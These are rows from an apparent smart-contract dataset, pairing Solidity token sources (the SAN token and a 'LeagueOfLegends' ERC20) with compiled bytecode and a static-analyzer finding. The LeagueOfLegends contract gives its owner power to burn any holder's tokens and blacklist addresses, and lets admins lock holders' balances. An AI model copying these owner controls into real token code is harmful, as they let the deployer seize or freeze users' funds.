reentrancy handling * // ************************************************* //@dev predefined locks (up to uint bit length, i.e. 256 possible) uint constant internal L00 = 2 ** 0; uint constant internal L01 = 2 ** 1; uint constant internal L02 = 2 ** 2; uint constant internal L03 = 2 ** 3; uint constant internal L04 = 2 ** 4; uint constant internal L05 = 2 ** 5; //prevents reentrancy attacs: specific locks uint private bitlocks = 0; modifier noReentrancy(uint m) { var _locks = bitlocks; if (_locks & m > 0) throw; bitlocks |= m; _; bitlocks = _locks; } modifier noAnyReentrancy { var _locks = bitlocks; if (_locks > 0) throw; bitlocks = uint(-1); _; bitlocks = _locks; } ///@dev empty marking modifier signaling to user of the marked function , that it can cause an reentrant call. /// developer should make the caller function reentrant-safe if it use a reentrant function. modifier reentrant { _; } } contract Owned is Base { address public owner; address public newOwner; function Owned() { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) { newOwner = _newOwner; } function acceptOwnership() only(newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Owned { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; bool public isStarted = false; modifier onlyHolder(address holder) { if (balanceOf(holder) == 0) throw; _; } modifier isStartedOnly() { if (!isStarted) throw; _; } } contract SubscriptionModule { function attachToken(address addr) public ; } contract SAN is Owned, ERC20 { string public constant name = "SANtiment network token"; string public constant symbol = "SAN"; uint8 public constant decimals = 15; address CROWDSALE_MINTER = 0xDa2Cf810c5718135247628689D84F94c61B41d6A; address public SUBSCRIPTION_MODULE = 0x00000000; address public beneficiary; uint public PLATFORM_FEE_PER_10000 = 1; //0.01% uint public totalOnDeposit; uint public totalInCirculation; ///@dev constructor function SAN() { beneficiary = owner = msg.sender; } // ------------------------------------------------------------------------ // Don&#39;t accept ethers // ------------------------------------------------------------------------ function () { throw; } //======== SECTION Configuration: Owner only ======== // ///@notice set beneficiary - the account receiving platform fees. function setBeneficiary(address newBeneficiary) external only(owner) { beneficiary = newBeneficiary; } ///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token. /// detached module can usually manage subscriptions, but all operations changing token balances are disabled. function attachSubscriptionModule(SubscriptionModule subModule) noAnyReentrancy external only(owner) { SUBSCRIPTION_MODULE = subModule; if (address(subModule) > 0) subModule.attachToken(this); } ///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token. function setPlatformFeePer10000(uint newFee) external only(owner) { require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible) PLATFORM_FEE_PER_10000 = newFee; } //======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code // ///@dev used as a default XRateProvider (id==0) by subscription module. ///@notice returns always 1 because exchange rate of the token to itself is always 1. function getRate() returns(uint32 ,uint32) { return (1,1); } function getCode() public returns(string) { return symbol; } //==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support ===== /// ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public onlyTrusted returns(bool success) { success = _from != msg_sender && allowed[_from][msg_sender] >= _value; if (!success) { Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0); } else { success = _fulfillPayment(_from, _to, _value, 0, msg_sender); if (success) { allowed[_from][msg_sender] -= _value; } } return success; } ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public onlyTrusted returns (bool success) { var fee = _fee(_value); assert (fee <= _value); //internal sanity check if (balances[_from] >= _value && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value - fee; balances[beneficiary] += fee; Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.OK, subId); return true; } else { Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.BALANCE_ERROR, subId); return false; } } function _fee(uint _value) internal constant returns (uint fee) { return _value * PLATFORM_FEE_PER_10000 / 10000; } ///@notice used by subscription module to re-create token from returning deposit. ///@dev a subscription module is responsible to correct deposit management. function _mintFromDeposit(address owner, uint amount) public onlyTrusted { balances[owner] += amount; totalOnDeposit -= amount; totalInCirculation += amount; } ///@notice used by subscription module to burn token while creating a new deposit. ///@dev a subscription module is responsible to create and maintain the deposit record. function _burnForDeposit(address owner, uint amount) public onlyTrusted returns (bool success) { if (balances[owner] >= amount) { balances[owner] -= amount; totalOnDeposit += amount; totalInCirculation -= amount; return true; } else { return false; } } //========= Crowdsale Only =============== ///@notice mint new token for given account in crowdsale stage ///@dev allowed only if token not started yet and only for registered minter. ///@dev tokens are become in circulation after token start. function mint(uint amount, address account) onlyCrowdsaleMinter isNotStartedOnly { totalSupply += amount; balances[account]+=amount; } ///@notice start normal operation of the token. No minting is possible after this point. function start() isNotStartedOnly only(owner) { totalInCirculation = totalSupply; isStarted = true; } //========= SECTION: Modifier =============== modifier onlyCrowdsaleMinter() { if (msg.sender != CROWDSALE_MINTER) throw; _; } modifier onlyTrusted() { if (msg.sender != SUBSCRIPTION_MODULE) throw; _; } ///@dev token not started means minting is possible, but usual token operations are not. modifier isNotStartedOnly() { if (isStarted) throw; _; } enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} ///@notice event issued on any fee based payment (made of failed). ///@param subId - related subscription Id if any, or zero otherwise. event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId); }//contract SAN
0x606060405236156101935763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a9578063095ea7b31461023957806318160ddd1461026c5780631c31f7101461028e57806323b872dd146102ac5780632981cceb146102e55780632c7ec2c214610306578063313ce5671461034a57806335b55d981461037057806338af3eed1461039c578063544736e6146103c857806359ba1dd5146103ec5780635cb0c16f1461042c578063679aefce1461044e5780636d5433e6146104815780636dd43d1f146104a957806370a08231146104c757806379ba5097146104f55780637ae2b5c7146105075780638da5cb5b1461052f57806394bf804d1461055b57806395d89b411461057c5780639bd334571461060c578063a9059cbb1461062e578063abf0661f14610661578063be9a655514610694578063d4ee1d90146106a6578063dd62ed3e146106d2578063e3d0799c14610706578063ea87963414610728578063f2fde38b146107b8578063f9cc2e66146107d6575b341561019b57fe5b6101a75b60006000fd5b565b005b34156101b157fe5b6101b96107eb565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024157fe5b610258600160a060020a0360043516602435610822565b604080519115158252519081900360200190f35b341561027457fe5b61027c61089f565b60408051918252519081900360200190f35b341561029657fe5b6101a7600160a060020a03600435166108a5565b005b34156102b457fe5b610258600160a060020a03600435811690602435166044356108f0565b604080519115158252519081900360200190f35b34156102ed57fe5b6101a7600160a060020a0360043516602435610a15565b005b341561030e57fe5b610258600160a060020a03600435811690602435811690604435906064359060843516610a66565b604080519115158252519081900360200190f35b341561035257fe5b61035a610c60565b6040805160ff9092168252519081900360200190f35b341561037857fe5b610380610c65565b60408051600160a060020a039092168252519081900360200190f35b34156103a457fe5b610380610c74565b60408051600160a060020a039092168252519081900360200190f35b34156103d057fe5b610258610c83565b604080519115158252519081900360200190f35b34156103f457fe5b610258600160a060020a036004358116906024358116906044359060643516610c8c565b604080519115158252519081900360200190f35b341561043457fe5b61027c610dd7565b60408051918252519081900360200190f35b341561045657fe5b61045e610ddd565b6040805163ffffffff938416815291909216602082015281519081900390910190f35b341561048957fe5b61027c600435602435610de5565b60408051918252519081900360200190f35b34156104b157fe5b6101a7600160a060020a0360043516610e00565b005b34156104cf57fe5b61027c600160a060020a0360043516610ef8565b60408051918252519081900360200190f35b34156104fd57fe5b6101a7610f17565b005b341561050f57fe5b61027c600435602435610fa7565b60408051918252519081900360200190f35b341561053757fe5b610380610fc2565b60408051600160a060020a039092168252519081900360200190f35b341561056357fe5b6101a7600435600160a060020a0360243516610fd1565b005b341561058457fe5b6101b9611030565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061457fe5b61027c611067565b60408051918252519081900360200190f35b341561063657fe5b610258600160a060020a036004351660243561106d565b604080519115158252519081900360200190f35b341561066957fe5b610258600160a060020a0360043516602435611148565b604080519115158252519081900360200190f35b341561069c57fe5b6101a76111cf565b005b34156106ae57fe5b610380611216565b60408051600160a060020a039092168252519081900360200190f35b34156106da57fe5b61027c600160a060020a0360043581169060243516611225565b60408051918252519081900360200190f35b341561070e57fe5b61027c611252565b60408051918252519081900360200190f35b341561073057fe5b6101b9611258565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107c057fe5b6101a7600160a060020a0360043516611299565b005b34156107de57fe5b6101a76004356112e4565b005b60408051808201909152601781527f53414e74696d656e74206e6574776f726b20746f6b656e000000000000000000602082015281565b60065460009060ff1615156108375760006000fd5b600160a060020a03338116600081815260046020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b5b92915050565b60055481565b600154600160a060020a0390811690331681146108c25760006000fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b60065460009060ff1615156109055760006000fd5b600160a060020a0384166000908152600360205260409020548290108015906109555750600160a060020a0380851660009081526004602090815260408083203390941683529290522054829010155b801561097a5750600160a060020a038316600090815260036020526040902054828101115b15610a0857600160a060020a03808416600081815260036020908152604080832080548801905588851680845281842080548990039055600483528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610a0c565b5060005b5b5b9392505050565b60075433600160a060020a03908116911614610a315760006000fd5b600160a060020a0382166000908152600360205260409020805482019055600a80548290039055600b8054820190555b5b5050565b600754600090819033600160a060020a03908116911614610a875760006000fd5b610a908561131c565b905084811115610a9c57fe5b600160a060020a038716600090815260036020526040902054859010801590610ade5750600160a060020a038616600090815260036020526040902054858101115b15610ba357600160a060020a03808816600081815260036020908152604080832080548b900390558a85168084528184208054888d030190556008548616845281842080548801905581519485529184019190915282018890526060820184905291851660808201527f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e91899189918991869189918b9060a08101835b60ff16815260200182815260200197505050505050505060405180910390a160019150610c54565b7f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e878787848760018a6040518088600160a060020a0316600160a060020a0316815260200187600160a060020a0316600160a060020a0316815260200186815260200185815260200184600160a060020a0316600160a060020a03168152602001836002811115610c3057fe5b60ff16815260200182815260200197505050505050505060405180910390a1600091505b5b5b5095945050505050565b600f81565b600754600160a060020a031681565b600854600160a060020a031681565b60065460ff1681565b60075460009033600160a060020a03908116911614610cab5760006000fd5b81600160a060020a031685600160a060020a031614158015610cf35750600160a060020a03808616600090815260046020908152604080832093861683529290522054839010155b9050801515610d89577f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e858585610d298761131c565b60408051600160a060020a0380871682528581166020830152918101849052606081018390529088166080820152879060029060009060a08101835b60ff16815260200182815260200197505050505050505060405180910390a1610dcc565b610d97858585600086610a66565b90508015610dcc57600160a060020a038086166000908152600460209081526040808320938616835292905220805484900390555b5b5b5b949350505050565b600b5481565b6001805b9091565b600081831015610df55781610df7565b825b90505b92915050565b6000805490811115610e125760006000fd5b600019600055600154600160a060020a039081169033168114610e355760006000fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385169081179091556000901115610eeb5782600160a060020a031663406a6f60306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b1515610ed957fe5b6102c65a03f11515610ee757fe5b5050505b5b5b5060008190555b5050565b600160a060020a0381166000908152600360205260409020545b919050565b600254600160a060020a039081169033168114610f345760006000fd5b600254600154604051600160a060020a0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002546001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b50565b600081831115610df55781610df7565b825b90505b92915050565b600154600160a060020a031681565b60065433600160a060020a039081166101009092041614610ff25760006000fd5b60065460ff16156110035760006000fd5b6005805483019055600160a060020a03811660009081526003602052604090208054830190555b5b5b5050565b60408051808201909152600381527f53414e0000000000000000000000000000000000000000000000000000000000602082015281565b600a5481565b60065460009060ff1615156110825760006000fd5b600160a060020a0333166000908152600360205260409020548290108015906110c45750600160a060020a038316600090815260036020526040902054828101115b1561113857600160a060020a03338116600081815260036020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001610898565b506000610898565b5b5b92915050565b60075460009033600160a060020a039081169116146111675760006000fd5b600160a060020a0383166000908152600360205260409020548290106111385750600160a060020a038216600090815260036020526040902080548290039055600a805482019055600b805482900390556001610898565b506000610898565b5b5b92915050565b60065460ff16156111e05760006000fd5b600154600160a060020a0390811690331681146111fd5760006000fd5b600554600b556006805460ff191660011790555b5b505b565b600254600160a060020a031681565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b60095481565b611260611332565b5060408051808201909152600381527f53414e000000000000000000000000000000000000000000000000000000000060208201525b90565b600154600160a060020a0390811690331681146112b65760006000fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b600154600160a060020a0390811690331681146113015760006000fd5b6127108211156113115760006000fd5b60098290555b5b5050565b6009546000906127109083025b0490505b919050565b604080516020810190915260008152905600a165627a7a72305820efd4c5a104e229f53d232831140393b432d90fad3da9449b0b92118a1218decc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
7,130
0xd23f328a02a72e1376de0bbb9994436b20faff7f
/** // LeagueOfLegends.com // LoL // */ // SPDX-License-Identifier: none pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract LeagueOfLegends is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address blacklisted"); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bbd602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061150e565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b61065a83836115a5565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826116a1565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cd86021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b3f6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460f